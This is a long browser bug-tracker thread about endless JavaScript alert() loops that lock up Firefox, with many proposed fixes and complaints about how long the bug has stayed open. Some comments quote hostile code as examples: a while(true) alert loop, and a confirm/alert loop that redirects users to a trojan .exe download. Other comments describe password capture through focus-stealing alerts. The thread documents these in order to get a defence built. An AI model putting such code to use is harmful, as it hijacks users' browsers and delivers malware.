Often when you're testing scripts, javascript or otherwise, you end up getting lost in a load of alert boxes, causing you to spend ages clicking the [OK] button just to end the script. It'd be quite nice if there was an option to "end all currently active script" or "turn off javascript for this page" selectable from the menubar. I realise that giving focus to an alert box means that you can't return to the browser until all the boxes have closed, so I suppose this would have to be an option selectable from an alert box also (perhaps alongside the standard [x] button in the top-right corner, there could be a similar icon indicating "close all boxes" in some fashion??).Would this conflict with ECMAscript standards though? Just a thought...

Browser, not engine. Reassigning to Browser-General for consideration -

making rfe.

dup of some part of bug 22049...

DOM 0 then it is.

Nice to have but hard to do with the threading model used in mozilla. Not high priority --> Future

See bug 59314 for another suggestion as to how to prevent DoS attacks using modal dialogs. In that bug, window-modal dialogs would be replaced with content-modal dialogs, so that the user could still leave the page or at least close the window. Note that many dialogs besides page javascript alerts are currently modal -- the "connection refused" alert is a good example. Bug 28586 would eliminate at least some of the networking-error alerts.

Hmm, and don't forget the Basic Auth dialog. That one isn't going away anytime soon.

*** Bug 128196 has been marked as a duplicate of this bug. ***

*** Bug 156346 has been marked as a duplicate of this bug. ***

I think this is really a common problem for web-developers. I've fallen into this trap several times myself (accidentally created an infite loop around my debugging alert()). But instead of aborting all scripts, I'd like to have something similar to the "A script on this page is causing Mozilla to run slow" message with the option to abort the script. As a trigger for this event I would suggest something like this: When an alert is closed, note the time of the close. When a new alert pops up, compute the difference between the current time and the close time of the previous alert. If it is below a sensible threshold (let's say 5 seconds), increase a counter. If it is above the threshold, reset the counter. If the counter reaches 10, fire the dialog "A script on this page is creating alert() boxes at an alarming rate. This could make your browser unusable. Abort the script?" In case the description doesn't make this clear. The box should fire if several times in a row the time between alerts is too short to click Stop/Close/Back/Whatever.

Mass-reassigning bugs to dom_bugs@netscape.com

Example: http://megajocke.y2.org/post/oops.html Don't open it if you have something important open in the browser.

*** Bug 213586 has been marked as a duplicate of this bug. ***

*** Bug 66097 has been marked as a duplicate of this bug. ***

*** Bug 215453 has been marked as a duplicate of this bug. ***

*** Bug 218608 has been marked as a duplicate of this bug. ***

IMHO, a javascript blocker that popups under restrictive conditions is OK but not enough. An accelerator such as Ctrl+Pause on PCs, and whatever fits on Macs, must be provided. http://www.stremler.net/evil_js.html

Acting on Duplicate resolution from bug 66097 comment 16: *Moving 'Blocks: bug 140346' from bug 66097 to bug 61098. (Take further action as needed.)

*** Bug 219345 has been marked as a duplicate of this bug. ***

*** Bug 241605 has been marked as a duplicate of this bug. ***

*** Bug 240311 has been marked as a duplicate of this bug. ***

*** Bug 251227 has been marked as a duplicate of this bug. ***

*** Bug 249360 has been marked as a duplicate of this bug. ***

*** Bug 258585 has been marked as a duplicate of this bug. ***

*** Bug 261950 has been marked as a duplicate of this bug. ***

*** Bug 270391 has been marked as a duplicate of this bug. ***

*** Bug 276080 has been marked as a duplicate of this bug. ***

*** Bug 123308 has been marked as a duplicate of this bug. ***

*** Bug 261390 has been marked as a duplicate of this bug. ***

*** Bug 136324 has been marked as a duplicate of this bug. ***

*** Bug 281145 has been marked as a duplicate of this bug. ***

*** Bug 283838 has been marked as a duplicate of this bug. ***

*** Bug 286400 has been marked as a duplicate of this bug. ***

Given the amount of dupes, this is a highly requested feature. Actually, it would be a lot easier to implement a Javascript function that stops this, accessable through this JavaScript console. In this respect, a short-term solution wouldn't require any UI changes. I still have this blasted Javascript alert loop in one of my windows (unfix.org/~jeroen/archive/javascript_loop.html if you're interested in having an non-functioning browser window), as I was searching Google for such a JS command. BTW, I do like haferfrost@web.de's solution from comment #10 as a longer term solution.

*** Bug 304496 has been marked as a duplicate of this bug. ***

(In reply to comment #5) > Nice to have but hard to do with the threading model used in mozilla. Not high > priority --> Future That's interesting, because I thought that it would be easy to implement: just use the same feature that lets Mozilla abort scripts that are taking too long to execute... By the way, sorry about the dupe.

Basically pops up alert boxes that say 'This alert box will never go away.' and 'The only way you can get rid of this box is by terminating the browser process.'

How do you determine that the alert will never go away?

(In reply to comment #38) > How do you determine that the alert will never go away? In theory, it shouldn't end (the loop is on a true, i.e. while(true), which, of course, will never evaluate to false. In practice, these loops can be used, but they're generally stopped via a break statement). If you don't trust me, you can try it and then keep on pressing OK. For practical reasons, let's make 20 equal infinity.

No, I mean how does Mozilla know that the loop will never end? It's easy enough if it's just while (true) { alert(""); } but if it's in the form of while (true) { if (someFunction()) { alert(""); } else { break; } } how would you determine that someFunction() will ever return false? See http://en.wikipedia.org/wiki/Halting_problem The "taking too long to execute" feature I'm guessing just figures that the script has been running too long rather than determining that it's an infinite loop. When you loop an alert(), the script isn't executing most of the time, it's just waiting for the user to press OK. The idea in comment 10 is similar, but definitely not the same as the "taking too long" feature.

I think the idea is to let the user decide when the alert is an "infinite" loop, like some sort of second option in a normal alert box that says "OK, and stop the script."

I think the feature can be expressed as: * The Stop button should always work. * At the moment, if you have a script that pops up endless dialogue boxes, you cannot hit the Stop button in the browser. It's disabled because of the modal dialogue box. One answer to this is to include a mini-Stop-button in the dialogue box itself. Another would be to make Javascript dialogues non-modal, or at least allow Stop and other browser UI elements to keep working when a Javascript dialogue box is displayed.

(In reply to comment #40) > No, I mean how does Mozilla know that the loop will never end? It's easy enough It doesn't have to. All that is required is a CTRL+Break shortcut or simmilar, to abort the currently running script.

fwiw anyone w/ venkman open and an understanding of how it works can stop such loops today. (so can anyone w/ ie's script debugger and ie properly configured). can people please stop writing these comments in the bug? unless you're actually posting code, you're just wasting everyone's time.

Suggestion for people using alert() for debugging purposes: Use HTML/DOM for showing debugging information instead of alert(). I've rigged up a small library that allows just this. If you're looping 1,000 times through, it'll just update the debug div 1,000 times; eventually, Mozilla will prompt you to abort the script. Suggestions for improvement here welcome. --------------------- //USE: debugWindow.show('key','value'); // //SHOULDN'T NEED THIS, BUT: debugWindow.hide() var DebugWindow = function(styleAttributes) { this.pane = document.createElement('div'); this.pane.style.position = 'absolute'; this.pane.style.top = 0; this.pane.style.right = 0; this.pane.style.display = 'none'; this.pane.style.fontSize = 'small'; this.pane.style.width = '200px'; this.pane.style.backgroundColor = 'darkred'; this.pane.style.color = 'white'; for (var attribute in styleAttributes) { this.pane.style[attribute] = styleAttributes[attribute]; } var header = document.createElement('h4'); header.appendChild(document.createTextNode('Debug Window')); this.messageDiv = document.createElement('div'); var hideButton = document.createElement('button'); hideButton.appendChild(document.createTextNode('Hide')); hideButton.onclick = function() { this.parentNode.style.display = 'none'; } this.data = {}; this.pane.appendChild(header); this.pane.appendChild(document.createElement('hr')); this.pane.appendChild(this.messageDiv); this.pane.appendChild(document.createElement('hr')); this.pane.appendChild(hideButton); document.body.appendChild(this.pane); return this; } //KEYS MUST EVALUATE TO BOOLEAN TRUE DebugWindow.prototype.show = function(key, newValue) { this.pane.style.display = 'block'; if (key) { var keyExists = this.data[key]; var newTextNode = document.createTextNode(newValue); if (keyExists) { this.data[key].value = newValue; this.data[key].elem.replaceChild( newTextNode, this.data[key].elem.lastChild ); } else { this.data[key] = { value: newValue, elem: document.createElement('div') }; this.data[key].elem.appendChild( document.createTextNode(key+': ') ); this.data[key].elem.appendChild(newTextNode); } this.messageDiv.appendChild(this.data[key].elem); } } DebugWindow.prototype.hide = function() { this.pane.style.display = 'none'; } window.debugWindow = new DebugWindow();

*** Bug 309394 has been marked as a duplicate of this bug. ***

*** Bug 294093 has been marked as a duplicate of this bug. ***

1. best solution * modal windows should only modal for content area of browser window, not for browser menus or toolbars 2. or a CTRL+Break (Comment #43) 3. simple and quick solution (temporary) javascript engine should check user pref javascript.enabled after statments executing ... * alert(), confirm(), prompt(), print(), window.open() * file browse window <input type=file> * download due to location="data:application/x-y-z,test" and user can re-launch another browser session and disable javascript

(In reply to comment #48) > 1. best solution > * modal windows should only modal for content area of browser window, not for > browser menus or toolbars > > 2. or a CTRL+Break (Comment #43) I think both of these should be eventually implimented.

May I suggest that the dialogs created by a page be implemented as children of the tab containing the page? That is, if my page creates a dialog, instead of it being its own toplevel window, it be displayed within the content area of the tab which contains the code requesting it? That way, not only could the browswer's own chrome still be accessible, but the issues of one tab spoofing an alert for another tab would also go away, as the dialog so created would be on the spoofing page's content area, not the spoofed page's content area. This would also be more in line with the idea behind tabs - that multiple web sites are represented by one user interface level window - currently alerts break that model. This would ALSO prevent the annoying behavior of a page being loaded in a background tab usurping the focus when a "Set cookie", "Run Javascript", or "Run Plugin" dialog is thrown - such dialogs would be on the tab, and thus would not interrupt me on the tab I am working with.

I have a possible solution to the problem (I think/hope). pseudo code; $delta_lines = span lines of code $nbr = number of popups $delta_time = timespan, excluding the time for user input to occur (pressing the OK button) if ($delta_line tries to open $nbr alerts or windows in $delta_time seconds) { halt javascript; }

Sorry for adding to the spam, but I have a suggestion I didn't see in any of the comments above. The code could be changed so that, if instead of dismissing a modal Javascript dialog by clicking on a button, you dismissed it by holding some modifier key (for instance, Control or Shift) and clicking on a button, either the script were stopped or all new attempts to open a modal Javascript dialog were ignored. There is a precedent for this sort of solution on the Windows shutdown/restart/logoff dialogs.

*** Bug 312786 has been marked as a duplicate of this bug. ***

Should this not be a critical bug, since it causes data loss by rendering existing tabs completely inaccessible?

*** Bug 317891 has been marked as a duplicate of this bug. ***

(In reply to comment #52) > The code could be changed so that, if instead of dismissing a modal Javascript > dialog by clicking on a button, you dismissed it by holding some modifier key > (for instance, Control or Shift) and clicking on a button, A modifier-key is not quite usable, and users who are an bad websites with alert-loop probably don't want to search for modifier-Keys. maybe we want in alert,confirm an promt-windows some new "cancel script"-Button or something like this. This button may be hidden in the first alert but may be shown after (for example) 3 alerts are shown in 60 seconds. > either the script > were stopped or all new attempts to open a modal Javascript dialog were > ignored. I don't think that we want wo continue with the script. If a script is so evil that is showns many alerts, then the script will not do anything useful after it. Look at this example-script: while(true) { alert("haha"); } If we ignore alerts now, then the script will be in a infinite loop and causes probably additional "the browser is running slowly, cancel script?"-warnings and/or cause the browser to be very slow. Wouldn't it be possible to raise a simple javascript-error when the user want's to cancel the script? Lupin, I agree. This seems to be critical because often there is no easy way to exit this script and the user has to kill the browser with the taskmanager which can cause dataloss.

Just so you know: there usually is an easy way to get out, all you have to do is press Ctrl + W and keep it pressed while you click the OK button.

Ctrl+W closes the current tab which may cause dataloss if there where textareas or something similar in it. You probably agree that this is not a suitable method for the normal stupid user.

(In reply to comment #58) > Ctrl+W closes the current tab which may cause dataloss if there where textareas > or something similar in it. > > You probably agree that this is not a suitable method for the normal stupid > user. > A small point, but "the normal stupid user" probably doesn't encounter many sites where the need to exit all scripts is evident.

ive thought of that but the thing you need to know is that it would close the site. what i want is just to stop the script not close the whole site itself cause sometimes the problem is the script not the site. there may be useful info on the site. and also by holding down ctrl-W you could accidentally close the other tabs you have open. why cant firefox just remove the freezing of the site in case a script comes out? do you think its possible to just have an extension on it? not NoScript but just something that will not freeze up the whole browser in case a javascript pops up

(In reply to comment #59) > A small point, but "the normal stupid user" probably doesn't encounter many > sites where the need to exit all scripts is evident. There are many "joke-sites" in the web, that create lots of alerts. The problem is that websites _can_ annoy the user. And that is bad. We have many technologies in Firefox that prevent some of these annoyances. We have a popup blocker, a GUI for disabling plugins and an option to prevent sites from opening new windows. It would be very nice to have the option to cancel annoying scripts, too. IMO, the best solution would be to create a new button in alert(), confirm() and similar windows. Maybe we should redesign the entire alert()-Window. There should be an information that the text comes from the webpage an this is not an message from Firefox or the OS. For example, webpages could say "Your computer has been infected by viruses, please delete [some important file] and reboot" or something like that. "Normal stupid users" may believe that.

*** Bug 253239 has been marked as a duplicate of this bug. ***

> site in case a script comes out? do you think its possible to just have an > extension on it? not NoScript but just something that will not freeze up the > whole browser in case a javascript pops up None of this would be a problem for me if the alerts were content-modal instead of window-modal. Then you could just click the X of a rogue site''s tab and get rid of it. I really don't get why they need to be window-modal. It makes no sense to me. It's also very distracting when you're working with mutiple tabs, and one in the background pops up an alert, causing your tab to change.

There should be a "Kill script" button in every alert() dialog to be able to kill the script. Someone should change the severity to critical, because this bug can cause data loss. The bug was opened more than five years ago. Why is it so difficult to fix it?

(In reply to comment #64) > There should be a "Kill script" button in every alert() dialog to be able to > kill the script. > > Someone should change the severity to critical, because this bug can cause data > loss. > > The bug was opened more than five years ago. Why is it so difficult to fix it? > Opera 9 has such a feature, it has a small checkbox in the alert that says: "stop executing scripts on this page" Opera also has a more "designed" alert box, it has a content area (which contains the message), and a border around that which holds, the okay button, and this new stop script checkbox. Why they use a checkbox, and not a simple button eludes me, possibly because a large button (because of the length of the text) would be attracting focus from the user, and would be clicked by not reading users to quick.

Screen-shot of the Opera alert dialog box. When selecting the "Stop executing scripts on this page", every page loaded on that tab has Javascript turned off.

*** Bug 355122 has been marked as a duplicate of this bug. ***

My bug has been marked as duplicate of this one, so I want just post additional thoughts attached to the deleted one: Even alerts from properly working scripts shouldn't make whole main window unresponsive. They should only block tab that created them. Reason: Sometimes you need to copy text from such box to the mail you are writing in other tab. Besides, blocking only one tab's content resolves the problem with a loop - you can just close the tab. Also, from my point of view it's more than an enhancement. Just try to start filling a long form in the e-banking web page and enter such loop in the second page (looking for data for the form or anything)... and then try to save your data from the form or even only logout... If it may lead to data or money loose, for me it's just a bug.

I agree - anything that allows a web page to hijack a user’s browser ought to be considered a deficiency.

Just a note: even if this does end up being patched, it won't do much against malicious web pages. For instance, the exploit listed here <http://sla.ckers.org/forum/read.php?14,1294> maxes out CPU and RAM. Here's my advice: if you're a developer, stop using alert dialogues to debug scripts, instead, dump the data in a dynamically generated textarea. If you're a concerned end user, install NoScript.

> Here's my advice: if you're a developer, stop using alert dialogues to debug > scripts, instead, dump the data in a dynamically generated textarea. If you're > a concerned end user, install NoScript. People keep missing the main issue in this bug. I could have 8 tabs open, be on the 8th tab, and the page in the first tab causes an alert. What happens? - An alert box appears totally inturrupting whatever I am doing, even though I am not on the first tab - The alert box causes the tabs to switch to the first one, without asking me at all. It's a huge issue. It's a security issue as well, because the alert box steals focus! If I was entering a password that contained a space in it in the page I was on at the time, and my eyes were not on the screen, then large portions of that password could be captured by the offending page, since the space will close the alert. I would think it would be simple to do ap roff of concept of this hijack - site has a link that opens secure site in a new window, starts a timer, timer fires and steals back focus, hopefully grabbing part of the password.

(In reply to comment #71) > People keep missing the main issue in this bug. The main issue in this bug, per the summary and every comment before yours, is being able to abort JavaScript from the alert dialog. You want bug 123913.

How about a (more general) solution of making the "scripts are taking too long, kill?" dialog come up if a user holds the Esc key down for say 2 sec.

(In reply to comment #73) > How about a (more general) solution of making the "scripts are taking too long, > kill?" dialog come up if a user holds the Esc key down for say 2 sec. > What about a simple solution: if i hit "Esc", kill everything that moves (images, plugins, scripts,...) *now* (only after the page has fully loaded, before that just stop loading)

Still no way to stop the while(1) alert('blocked') that blocks the navigator and requiers to end task or kill navigator, not really clean... Matthias Wallner > should also block loading of pages (that can block the navigateor with too larg pages, like 10000 cell table in a pages) And don't forget to write that clealy in the help file > How about a (more general) solution of making the "scripts are taking too long, > kill?" dialog come up if a user holds the Esc key down for say 2 sec. and if we click no ant we want 1min later to kill that? should be better to have CTRL+SCROLLLOCK

IMO the major issue of this problem is still the window-modal alert dialogs. I really don't get why we still have to have those. It is endlessly annoying for one webpage in a background tab to be able to interrupt browsing in another with a stupid dialog. Dialogs should be document-modal only. Also see my comment #71 as to why IMO this is a security issue.

(In reply to comment #75) > > How about a (more general) solution of making the "scripts are taking too long, > > kill?" dialog come up if a user holds the Esc key down for say 2 sec. > and if we click no ant we want 1min later to kill that? should be better to > have CTRL+SCROLLLOCK Then you would hold Esc pressed for say 2 sec again, get the dialog and answer yes.

Agreed with all the above posters who said the alert boxes should be content-modal. I'd expand that definition and say 'tab-modal'. I would do that, as well as adding a button to alert boxes saying something like 'OK, and stop script execution". I'd also alias Ctrl-Break to pressing this button. It might still be useful to be able to view the page's content, but get rid of the alert box, rather than having to close the whole tab.

One solution for this is JavaScript Engine should check "javascript.enabled" preference before and after alert(), confirm(), prompt() etc. This will allow user to start another Firefox session and disable JavaScript. I found currently when we check navigator.userAgent we get the latest value from preference. So I made a temp solution for testers see attachment stop_runaway_script.js I have also put how to use instructions in it. I think we should be able to convert this to Greasemonkey script to run automatically for all pages https://addons.mozilla.org/en-US/firefox/addon/748

Wouldn't the simplest and quickest solution be - if you press the button in the alert, it behaves like now else if you press the "close window"/Alt+F4/ctrl+w then disable the script using the same technique that is used in unresponsive scripts. It makes sense conceptually, as the close window is normally associated with a shutdown/Stop program, whereas using the button is a continue the program kinda operation. Therefore the operation would be what one expect from a program. I have always considered that the close window acts like pressing the button in the alert window, is highly counter-intuitive. Of course I do not have any experience with the underlying code, but it seems to me that should be a quick and easy fix? This problem really should be upgraded from an enhancement to something more, because it can cause data loss, and perhaps in some odd cases even loss of real money, because of having to abort a net bank transaction - I generally make sure that I no tabs open when I use my netbank, but it may not be everone who does this, and it is soo easy to forget an open window.

If you're referring to the parent window's close button, making it clickable would require making the alert non-modal, which would be not be a quick and easy fix. If you're referring to the alert's close button, alerts don't have a close button on all platforms.

Removing CC.

(In reply to comment #84) > If you're referring to the parent window's close button, making it clickable > would require making the alert non-modal, which would be not be a quick and > easy fix. Actually, that may be the quickest fix of all these proposals. While an alert box has to block JS script from executing to keep compatibility with all existing scripts, I have never seen anything that says that a JS alert box has to be modal. If the alert was not modal then the user could close the tab or window causing the issue.

This needs to be put in. Ive encountered spyware ads that are infinite confirm() and alert() loops. This is a security concern.

Actually I was referring to the close window button on the modal alert, that button does the exact same as if you pressed the OK button in current implementation, it releases the java script block. My suggestion in it's simplicity is to make that close window button, abort the script instead of releasing the block. OR To make it even simpler, closing the modal alert window, release the UI from the modal lock, but still keeps the javascript blocked. Either solution would allow the user to close the offending window, or to continue with what they were doing. To my mind it seems that these two solutions I mention here, should have least impact on the system as a whole, while still making sense for the average user.

Comment #84 states that alerts don't have a close button on all platforms. This would be an elegant solution from a UI standpoint, though, I think, if they did.

In fact, the bug is that : Status: NEW Severity: enhancement Priority: P3 Target Milestone: Future since 2000, there's this bug, and even Firefox 3 beta have this bug. Will contact admin...

I have been hijacked several times by pages that catch me in infinite loops, not allowing me to close the tab, or save any data. I have been forced to kill Firefox. Now, when I submit it as a bug, it gets marked as a duplicate of a request for "enhancement", which will be resolved in the "future". What gives? This is a *serious vulnerability* in the application since it allows *any page* to hijack the application and force the user to kill it, lose opened tabs and form data, cancel downloads, etc. This is not just an "enhancement", it is something that needs to be fixed ASAP, and apparently, this bug has existed for 7 years! Am I wrong?

I have had the same thing happen to me. Luckily this specific bug has recently gotten some recognition by online security consultants: http://www.internetisseriousbusiness.com also: http://traceurl.com/go/144/Futurism

(In reply to comment #94) > http://www.internetisseriousbusiness.com both goes to same site. May be who all want this bug to be fixed should popularize http://www.internetisseriousbusiness.com to bring attention to all security consultants...

Note that the loop isn't started unless you click the "start loop" button.

Yes, yo can kill the tab using Ctrl-W if you know that. But most users won't figure that out. There should be an obvious way to kill the script, like there is with Opera.

Pressing OK and Control-W repeatedly (as described in Attachment 295358 [details], at least when tested using that attachment) is not really a usable workaround. I could not get it to work if I tried to do it slowly (so as to avoid closing extra tabs), and then when I tried to do it fast, it still took a LONG time, and then when it finally did work I ended up accidentally closing Firefox entirely.

As it was not considered a good solution to just let the close window close the modal popup, but still block the javascript, because some platforms do not support the close window option, perhaps just enabling Ctrl+w to close the modal window, but still block the javascript would be better, and perhaps even simpler to implement. If the blocking of the javascript is the reason why not, then just pass the ctrl+w through and close the tab causing the problem, this would solve the issue. Though arguing that some platforms do not have a close windows button, seems to be a weak argument, since afaik 95+% of platforms do support this option, as afaik all windows, most Linux, and freeBSD platforms all do support it, so the problem would be solved on the commonly used platforms. (NB I do not know about Mac, as it is years since I've used those systems), then there is the smalle problem of solving it on those platforms that do not have a close window on the modal dialog - Perhaps just add a button? The ok and Ctrl+w option seems to be a kludgy way of doing it which is not obvious to non-technical users. It however does seem to work, clicking ok rapidly and pressing Ctrl+w does indeed close the tab, however you may loose more than one tab. However, considering this bug has been left for many years and called a request for enhancement, makes me think this bug is more a victim of politics rather than technical issues! I cannot envision why this particular problem should be so difficult to solve or implement a workaround for - in the worst case adding a button to the modal javascript alert box, which says stop the javascript (release the gui), or in the best case using the close window button and/or ctrl+w to pass through to the parent, closing the parent.

All I hear is talk of 'modal this' and 'CTRL+W' that (which doesn't work anyways, try it on my link in a new window). Perhaps some sort of 'Rick Roll detection algorithm', now were talking! Does any of this help the fact that I have had that bloody song from Rick Roll stuck in my head for 3 days? Somebody please fix this bug! Think of the children that are being exposed!

(In reply to comment #94) > I have had the same thing happen to me. Luckily this specific bug has recently > gotten some recognition by online security consultants: > http://www.internetisseriousbusiness.com That site is SFW, but what if the loop is hawking spyware, or shooting porn pop ups? Isn't the point of FF to stop those things?

(In reply to comment #101) > That site is SFW, but what if the loop is hawking spyware, or shooting porn pop > ups? Isn't the point of FF to stop those things? Or worse, please see my comment #71 for IMO how someone could easily, with the right timing, exploit this problem to grab website passwords or other sensitive information. This should be tagged as security.

As Jason said in comment 72, that's not this bug.

(In reply to comment #103) > As Jason said in comment 72, that's not this bug. It is all related. If the dialog was not window-modal both problems would be solved.

This would be a great feature to add - but will not block release -> moving to wanted.

Keyboard shortcuts (CTRL+W or CTRL+BREAK or holding ESC for 2 seconds) are not "discoverable". Adding an Opera-style "stop executing scripts on this page" checkbox is a very intuitive mechanism for dealing with infinite alert loops. What are the technical difficulties with implementation?

Here is a great example of this problem (do not click on it unless you are ready to force-quit your browser) http://www.rickrolling.com

(In reply to comment #106) > Keyboard shortcuts (CTRL+W or CTRL+BREAK or holding ESC for 2 seconds) are not > "discoverable". > > Adding an Opera-style "stop executing scripts on this page" checkbox is a very > intuitive mechanism for dealing with infinite alert loops. > > What are the technical difficulties with implementation? > make "disable js" menu item in right button clicking menu.

There really needs to be some solution to this problem. There's absolutely no excuse for Firefox to still have this sort of 8-year-old design flaw. http://www.choose.yudia.net/

(In reply to comment #112) > There really needs to be some solution to this problem. There's absolutely no > excuse for Firefox to still have this sort of 8-year-old design flaw. > > http://www.choose.yudia.net/ > What do other browsers do?

See comment #65 for a description of what Opera does.

hello safari!

I ran into a malicious advertisement today that locked the browser into an infinite loop of alerts while it tried to access an Active X control. It failed hard at the latter but the former is still an issue. I had to open task manager and end the process in order to break out of the loop. Mind you this was an ad for "porn tube" so I had the joy of staring at some guy's flaccid cock the whole time. The big problem with the alerts is that they prevent a user from doing anything other than confirming the alert. The inability to close the browser or tab is perhaps the biggest reason why this is being used maliciously and successfully.

I believe the window modal solution is the way to go, not the "kill the javascript" way. Alerts should be window modal (like the "should I save the password?" notification). This is also a serious security problem as shown by commonly used code like the following. The user must start the task manager (yuck) to kill the Firefox process, there is no other escape (Ctrl-W, Ctrl-F4, window close, etc do not work!) function alert_vc() { if (confirm('Click \'OK\' to download and install media codec.')) { setTimeout("alert_vc();",7000); location.href='http://codecsystem.c*m/someplace/<Trojan>.exe'; } else { if (alert('Please download new version of media codec software.')) { alert_vc(); } else { alert_vc(); } } }

I concur with Steven and Duncan that it is a serious security hole. Today, I ran into a site with an infinitely looping alert that was trying to get me to download and install an Active-X control. Unable to close the tab, I had to kill Firefox with Task Manager. Not wanting to lose my 40 open tabs, I had it restore the previous session only to have the problem reoccur. I got my cake and ate it too by editing sessionstore.js, changing the offending URL to something nonexistent, but that is not a solution a normal user will ever figure out. Many users will eventually just give up and in frustration and click Okay.

In a month, this bug will hit its 8-year anniversary. Perhaps we should have a fail-cake to celebrate? Seriously, this has gotta be *stupid-easy* to fix, right? 1. Add a checkbox 2. Make it call the "stop scripts in this page" function Worst-case scenario: alert() uses shared code that is called from non-page processes. In that case, we duplicate it and modify one version. That's ALL we have to do. I don't know how to write XUL, but I know that someone who is reading this *does*.

moldymen.com is a new one I've run into. Also, Opera has this fixed. Every alert box allows you the option to block future alert boxes from that domain.

I really like what Google Chrome does here. Instead of showing an ugly checkbox on every dialog, it shows it only after the first dialog. This makes a lot of sense, since most of the time, two dialogs in a row is already wrong. Think for a moment of a use case that includes showing two dialogs in a row without any delay. They exist, but they are ruefully rare and mostly consist of poor man's debugging. Of course, that's not a bullet-proof fix, because a setTimeout/setInterval loop could be used instead of a regular loop (have not tested this in Google Chrome.) Best solution to that: a timer. If it's been less than 500ms since the last dialog, show a checkbox to prevent future dialogs. This would of course apply to alert(), confirm(), and prompt(). I don't think any others are necessary. Of course, content-modal vs. window-modal, etc. is a separate issue. Even if alerts were content-modal, there's still gain to having this feature. A simple time check doesn't seem that expensive either. -[Unknown]

Some hostile site could get around the timer by setting its own timer to delay putting up the next dialog box only after the proposed timer has run out. The above idea is not bad, but better have a backup, such as a hotkey that terminates scripts no matter what (maybe Control-Period on most computers and Command-Period on Mac?).

(In reply to comment #133) > Some hostile site could get around the timer by setting its own timer to delay > putting up the next dialog box only after the proposed timer has run out. The > above idea is not bad, but better have a backup, such as a hotkey that > terminates scripts no matter what (maybe Control-Period on most computers and > Command-Period on Mac?). That is not a bad idea. However, I don't think this really represents a flaw in the overall solution; a delay of 500ms gives a user sufficient time to close the tab or window without any dataloss. Essentially, it fixes the core problem of being able to "DoS" the user. If the site is going to spam the user, that's arguably the site's discretion. Thanks, Todd

We should fix this, but it's not going to happen for 1.9.1.

Happy birthday! Soon this bug will be able to buy alcohol. There is another issue. You cannot use "restore last session" after killing fx, because it will auto open insecure page.

That problem is solved in the upcoming Firefox 3.1 where you can selectively restore pages on startup.

@ Johnny Stenback: This is something that I'd rather call a semi-solution. One can selectively restore pages, but they're not able to avoid closing a browser because of malicious Javascript code. What if sb has open a partly filled form in one tab and is forced to close the whole browser? I vote for: 1) Opera-like option showing in all js popup-windows making people able to stop executing scripts on the page 2) tab-modal rather than window-modal js windows And even though I consider 1+2 the best choice, I'd also be very happy with the first one - it must be easy, REALLY EASY to implement. And also would solve most of the problems. Why is it so big problem just to agree with that and implement this?

(In reply to comment #139) > @ Johnny Stenback: > This is something that I'd rather call a semi-solution. Yeah, agreed. Just sayin' that it's possible to avoid restoring pages that DOS you. > I vote for: > 1) Opera-like option showing in all js popup-windows making people able to stop > executing scripts on the page > 2) tab-modal rather than window-modal js windows > > And even though I consider 1+2 the best choice, I'd also be very happy with the > first one - it must be easy, REALLY EASY to implement. And also would solve > most of the problems. Why is it so big problem just to agree with that and > implement this? I fully agree with you. The Opera solution is easy (relatively), and I'd have no problems accepting such a solution. It's a problem of resources, I don't have them, if you do, or can find them, we'd gladly accept contributed patches for this.

Easy solution, make it so that the alert() dialog doesn't over-power the main window (meaning you could close the tab causing the issue or close Firefox all together).

Riddle did UserJS that was making alert()s a kind of layer instead of a popup window. This made Firefox stop changing tabs when alert() appears. Probably it does work no more. http://perfectionorvanity.com/2006/12/09/mniej-ssace-window-alert/

That is what I was alluding to in comment #50 - if all alerts that are pertinent to a tab appeared as entities within that tab, then this whole bug becomes a non-issue (as do the issues of phishing sites attempting to exploit race conditions to make their alert()s appear over another tab, etc.)

This would be good. Would be even better if tab would be closable even when alert() shown (especially making nervous when alert() prevents you from closing a page, in a joke for example).

That's what bug 59314 is about ("Alerts should be content-modal, not window-modal"), btw.

After encountering a lot of “joke” web pages that make you go through tens or hundreds of Alert boxes (with text saying “This is frustrating, right?” or something along those lines), and others that make you go through an infinite loop, I agree that this needs to be addressed. A duck/Rick roll is moderately fun, but such “joke” pages are definitely a pain and may require you to force-close Firefox and lose important pages or content. Pick up a solution and fix this already! This bug shouldn't have been around for eight years. “I vote for: 1) Opera-like option showing in all js popup-windows making people able to stop executing scripts on the page 2) tab-modal rather than window-modal js windows” I would vote for solution #2. This is what logic dictates: JS alerts come from a specific document (displayed in a tab), and should not take precedence over general browser controls and other tabs. You should be able to close the tab, to go to other tabs, to go to the URL field and change it, to perform a search using the top-right search box, etc. The only thing those alert windows should be allowed to do is lock the tab's content.

In Google Chrome which I'm currently running the issue is solved in exactly the same way as in Opera - there is an option "prevent displaying additional modal windows on this page". JavaScript is not tab-modal, but window-modal, but it doesn't hurt as we have this option. This is what we really need in Fx - it's simple but powerful. And should be easy to implement. From major browsers only IE and Firefox are affected...

Actually, in my testing it's more like application-modal than window-modal. A modal pop-up in one window blocks modal pop-ups and synchronous XHR calls in all windows. See bug 460366. Each window/tab should be independent with respect to the others - modal alerts should only block that portion of the UI. The ideal solution would be a separate UI "thread" for each window or tab which operates independently of the others and can't block them or the main menu bar of Firefox. We encountered this problem in developing an XULrunner app and ended up solving it by having each instance of the main window of our app run in its own process...but this approach is probably wasteful of memory and not desirable for Firefox. I agree that Chrome has this particular problem solved in the right way.

i think opera takes are of this well with the check box to stop scripts for current page. can do the same here. all the javascript alerts/ confirm boxes are modal but have a checkbox to stop scripts after that ... a screen shot of the same is here http://picasaweb.google.com/Tushar.Kapila/F1#5310120878045178258 and a test file

I just came across a really good example of why the feck we need this. http://sourmath.com/ Yeah, so there are a few ways to do it. Can we just PICK ONE and implement it? Ding, ding! Firefox paid devs, this one over here has been waiting nearly TEN YEARS, where's the service???

My bug 486480 is the same, I guess there needs to be an option in every Javascript-generated web page dialog (including confirm, alert, prompt, etc.) to "stop all further scripts on this same page"

Yet another example: http://wykp.pl/ It's a site where some Polish internauts that have written incorrectly "wykop.pl" get. This site's address explicity the Firefox browser behaviour which makes user unable to close the tab. As Firefox is Polish most popular browser as for now, such sites address thousands of Firefox users in just one of plenty of countries.

It is -totally- ridiculous that this is still an issue.

Can we set this fix as a target milestone for Firefox 3.1? Or at least Firefox 4.....

i will pay $20 for this if there are others like that who would maybe we can work together - make a few paypal accounts to fund this. can use http://www.rentacoder.com/ escrow and find someone who can make a patch for us? firefox is open source so they can start from the current source code and code this so its an easy patch to add back. can email me at tgkprog gm'l

Tushar, that is a good idea, but I'd recommend http://www.fossfactory.org/ rather than rentacoder.

done hope to see some of you sponsor it. i adeed $8, more in a week, low on funds right now :-) Andrés are you a dev or user?

